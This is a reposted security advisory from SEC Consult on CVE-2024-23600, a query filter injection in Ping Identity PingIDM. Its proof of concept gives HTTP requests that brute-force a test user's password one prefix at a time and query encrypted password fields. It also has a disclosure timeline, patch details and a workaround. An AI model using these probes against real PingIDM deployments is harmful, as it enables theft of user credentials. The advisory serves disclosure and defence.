Security
Headlines
HeadlinesLatestCVEs

Headline

Ping Identity PingIDM 7.5.0 Query Filter Injection

Ping Identity PingIDM versions 7.0.0 through 7.5.0 enabled an attacker with read access to the User collection, to abuse API query filters in order to obtain managed and/or internal user’s passwords in either plaintext or encrypted variants, based on configuration. The API clearly prevents the password in either plaintext or encrypted to be retrieved by any other means, as this field is set as protected under the User object. However, by injecting a malicious query filter, using password as the field to be filtered, an attacker can perform a blind brute-force on any victim’s user password details (encrypted object or plaintext string).

Packet Storm
#vulnerability#web#mac#js#java#acer
SEC Consult Vulnerability Lab Security Advisory < 20241030-0 >=======================================================================              title: Query Filter Injection            product: Ping Identity PingIDM (formerly known as ForgeRock Identity                     Management) vulnerable version: v7.0.0 - v7.5.0 (and older unsupported versions)      fixed version: various patches; v8.0         CVE number: CVE-2024-23600             impact: medium           homepage: https://backstage.forgerock.com/docs/idm              found: 2024-04-10                 by: Ksandros Apostoli                     Miguel García Martín                     SEC Consult Vulnerability Lab                     An integrated part of SEC Consult, an Eviden business                     Europe | Asia                     https://www.sec-consult.com=======================================================================Vendor description:-------------------"ForgeRock Identity Management (IDM) software provides centralized, simplemanagement and synchronization of identities for users, devices, and things.IDM software is highly flexible and therefore able to fit almost any use caseand workflow."Source: https://backstage.forgerock.com/docs/idm/7.5/release-notes/preface.html"The combination of Ping Identity and ForgeRock is ushering in a very excitingtime in the identity market. Together, our market-leading identity services willdeliver more choice, unparalleled expertise, and a more complete identitysolution for our customers and partners. We're incredibly excited to welcomeyou all to the future of identity."Source: https://www.pingidentity.com/en/lp/pingandforgerock.htmlBusiness recommendation:------------------------The vendor provides a patch which should be installed immediately.SEC Consult highly recommends to perform a thorough security review of the productconducted by security professionals to identify and resolve potential furthersecurity issues.Vulnerability overview/description:-----------------------------------1) Query Filter Injection (CVE-2024-23600)Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions7.5.0 and below, enabled an attacker with read access to the "User" collection,to abuse API query filters in order to obtain managed and/or internal user'spasswords in either plaintext or encrypted variants, based on configuration.The API clearly prevents the password in either plaintext or encrypted to beretrieved by any other means, as this field is set as protected under the"User" object.However, by injecting a malicious query filter, using "password" as the field tobe filtered, an attacker can perform a blind brute-force on any victim's userpassword details (encrypted object or plaintext string).This blind brute-force can be very efficiently conducted since the query filteringsupported by the PingIDM API supports versatile operators such as Starts-With ('sw')or Contains ('co') etc. The sole limitation in this approach is case-insensitivityin the above-described filters adding an additional guessing overhead.The issue potentially extends to all protected fields of custom or built-incollections, but this remains to be tested.Proof of concept:-----------------1) Query Filter Injection (CVE-2024-23600)Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.PoC 1 - PingIDM (v7.3.0) - configured to store plaintext user passwordsIn the vulnerable instance running in this example (version 7.3.0), SEC Consultcreated a test user with the following credentials: `secUser1:aAqQ1234!`.A benign query filter in PingIDM can be crafted from the administrativeUI to filter, for example, users by their username (the password field is notpresented as available for filtering in the UI):HTTP Request```GET /openidm/managed/user?_queryFilter=userName+sw+"sec" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:05:13 GMTContent-Type: application/json;charset=utf-8Content-Length: 534Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [        {            "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",            "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",            "userName": "secUser1",            "accountStatus": "active",            "postalCode": "8046",            "stateProvince": "ZH",            "postalAddress": "Flurstrasse",            "description": "Pentest User 1",            "country": "CH",            "city": "Zurich",            "givenName": "SEC",            "sn": "Consult",            "mail": "[email protected]",            "preferences": {                "updates": true,                "marketing": false            }        }    ],    "resultCount": 1,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```Note in the request/response pair above, that the query filter sent over thepresented API request was used to query all users with 'userName' starting('sw') with the string "sec". As expected the test user 'secUser1'was returned. In addition, observe that the password field is never to bereturned in any form (plaintext or encrypted) by the API.Despite not being available for filtering in either the UI or API documentation,the 'password' field can be used instead of 'userName' in the example aboveto query users based on their password. In case the PingIDM instance has beenconfigured to store user passwords persistently in plaintext, it can be querieddirectly as shown in the request below:HTTP Request```GET /openidm/managed/user?_queryFilter=password+sw+"a" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:07:17 GMTContent-Type: application/json;charset=utf-8Content-Length: 534Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [        {            "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",            "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",            "userName": "secUser1",            "accountStatus": "active",            "postalCode": "8046",            "stateProvince": "ZH",            "postalAddress": "Flurstrasse",            "description": "Pentest User 1",            "country": "CH",            "city": "Zurich",            "givenName": "SEC",            "sn": "Consult",            "mail": "[email protected]",            "preferences": {                "updates": true,                "marketing": false            }        }    ],    "resultCount": 1,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```As it can be noticed in the request above, all users with a password startingwith 'a' (case insensitive) were queried and as expected, user 'secUser1' withpassword 'aAqQ1234!' was returned. For an additional sanity check, SEC Consultnext queried all users with password starting with 'aR'. Since no users areto be found in the deployed instance with a matching password, no entriesare returned as it can be seen below:HTTP Request```GET /openidm/managed/user?_queryFilter=password+sw+"aR" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:08:01 GMTContent-Type: application/json;charset=utf-8Content-Length: 138Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [],    "resultCount": 0,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```However, if the attacker correctly guesses the second letter of the password,e.g., by querying for passwords starting with 'aA', we observe that the same useris returned as before:HTTP Request```GET /openidm/managed/user?_queryFilter=password+sw+"aA" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:09:25 GMTContent-Type: application/json;charset=utf-8Content-Length: 534Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [        {            "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",            "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",            "userName": "secUser1",            "accountStatus": "active",            "postalCode": "8046",            "stateProvince": "ZH",            "postalAddress": "Flurstrasse",            "description": "Pentest User 1",            "country": "CH",            "city": "Zurich",            "givenName": "SEC",            "sn": "Consult",            "mail": "[email protected]",            "preferences": {                "updates": true,                "marketing": false            }        }    ],    "resultCount": 1,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```This indicates that an attacker can efficiently brute-force users' passwords.PoC 2: PingIDM (v7.5.0) - configured to store encrypted user passwordsPingIDM by default stores a user's password encrypted symmetrically using aprivate key that is created upon the first startup of the platform and isstored in the application key-store under '{installation-path}/security/keystore.jceks'.The encrypted password is represented by an object rather than a string. An exampleof an encrypted password JSON object is shown below:```  "username" : "anonymous",  "password" : {                        "$crypto" : {                            "type" : "x-simple-encryption",                            "value" : {                                "cipher" : "AES/CBC/PKCS5Padding",                                "stableId" : "openidm-sym-default",                                "salt" : "9fwdc+Vp1LxDno0YC6bXAA==",                                "data" : "JtFAY+EupwCSLbH06d5OPA==",                                "keySize" : 16,                                "purpose" : "idm.config.encryption",                                "iv" : "Aaek9zviMgZVz/fvOOobIQ==",                                "mac" : "IhKQTvyjcJqw1aW5BMBZpQ=="                            }                       }                },```While at first glance this object structure seems to break the query filterinjection from the previous example, it was found that all encrypted passwordfields can be queried in the exact same way using the '_queryFilter' GETparameter, and by fully specifying their path within the JSON object, forexample:```GET /openidm/managed/user?_queryFilter=password/$crypto/value/data+sw+"J"```The above request can be modified to include all other fields such as cipher,salt, data, iv, mac, etc. Obtaining a cleartext password in this example,would be clearly more challenging, as it would entirely depend on the securityof the encryption key utilized. However, under certain circumstances(subject to user permissions), users in PingIDM can use the REST API to decryptencrypted objects without the need for the key, as shown in the documentation:```curl \--header "X-OpenIDM-Username: openidm-admin" \--header "X-OpenIDM-Password: openidm-admin" \--header "Content-Type: application/json" \--cacert ca-cert.pem \--request POST \--data '{  "type": "text/javascript",  "globals": {    "val": {      "$crypto": {        "type": "x-simple-encryption",        "value": {          "cipher": "AES/CBC/PKCS5Padding",          "stableId": "openidm-sym-default",          "salt": "qAS/eG7zdnFyK5H8lXvqTA==",          "data": "zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=",          "keySize": 16,          "purpose": "idm.password.encryption",          "iv": "A4pIiY6kG6t0uLyLmJAoWQ==",          "mac": "sFDJqg0Mmp0Ftl+1q1Bjzw=="        }      }    }  },  "source":"openidm.decrypt(val);"}' \"https://$HOST/openidm/script?_action=eval"{  "myKey": "myPassword"}```source: https://backstage.forgerock.com/docs/idm/7/security-guide/keystore-encrypt-decrypt.htmlVulnerable / tested versions:-----------------------------The following versions have been tested which were the latest versionavailable at the time of the test:* 7.3.0* 7.5.0The vendor communicated the following affected versions:* 7.0.0 - 7.5.0, specifically 7.0.2, 7.1.3, 7.2, 7.3, 7.4, 7.5 (and older unsupported versions)Vendor contact timeline:------------------------2024-04-17: Contacting vendor through https://support.pingidentity.com/s/security-vulnerability            No response.2024-05-02: Contacting vendor through vulnerability submission form again.            No response.2024-05-23: Contacting CISO via LinkedIn. Immediate response, submitting            advisory details via encrypted email.2024-06-04: Security engineering team responds, acknowledges finding with low risk score.            Patch will be released and CVE be assigned nevertheless.2024-06-11: Asking vendor for coordinated release, timeline, affected/fixed versions, CVE.2024-06-17: Vendor: thoroughly addressed the vulnerability, assigned CVE-2024-23600.            Tentative public date for CVE is 24th June. Because of low risk, fix will be in next            GA release 7.6 and backports to 7.5.x-7.1., acknowledged credits for team,            needs us to submit to HackerOne as well regarding bug bounty donation.2024-06-21: Submitting to HackerOne, proposing coordinated release of our advisory            after patches are available to customers.2024-08-01: PingIdentity informs us that everything is patched and CVE released, awarded bounty.2024-09-25: Following up after vacation absences, preparing our security advisory release,            asking for clarification regarding version numbers; no response2024-10-17: Asking for version numbers and download URLs again            Vendor confirms versions numbers and links.2024-10-22: Informing vendor about planned advisory release next week.2024-10-29: Receiving feedback, version 7.6 won't be released, but 8.0; Adjusting advisory.2024-10-30: Coordinated advisory releaseSolution:---------The vendor provides patches for the affected versions which can be downloaded fromtheir download site. Furthermore, the upcoming release 8.0 includes the fixes as well:https://backstage.forgerock.com/downloads/browse/idm/all/productId:idmVendor security advisory with further information:https://backstage.forgerock.com/knowledge/advisories/article/a95212747Workaround:-----------For custom roles, a granular permission selection can be made on allobject's fields allowing 'Read', 'Read/Write', and 'None' access options.In the User object, the 'password' field is configurable to thesepermissions as well, even though this field can never be retrievedor read from any API endpoints or UI (rightfully so). If thepermissions for the 'password' field under the user role are setto 'None', this will prevent also queries from being executed onthat field. By default, when assigning read permissions to an object,all fields are marked as 'Read', as expected, therefore this changeneeds to be done manually.Unfortunately, for built-in roles, e.g. 'openidm-admin', these granularpermissions cannot be set, therefore this workaround won't work.Advisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabAn integrated part of SEC Consult, an Eviden businessEurope | AsiaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anEviden business. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: https://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF Ksandros Apostoli, Miguel García Martín / @2024

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution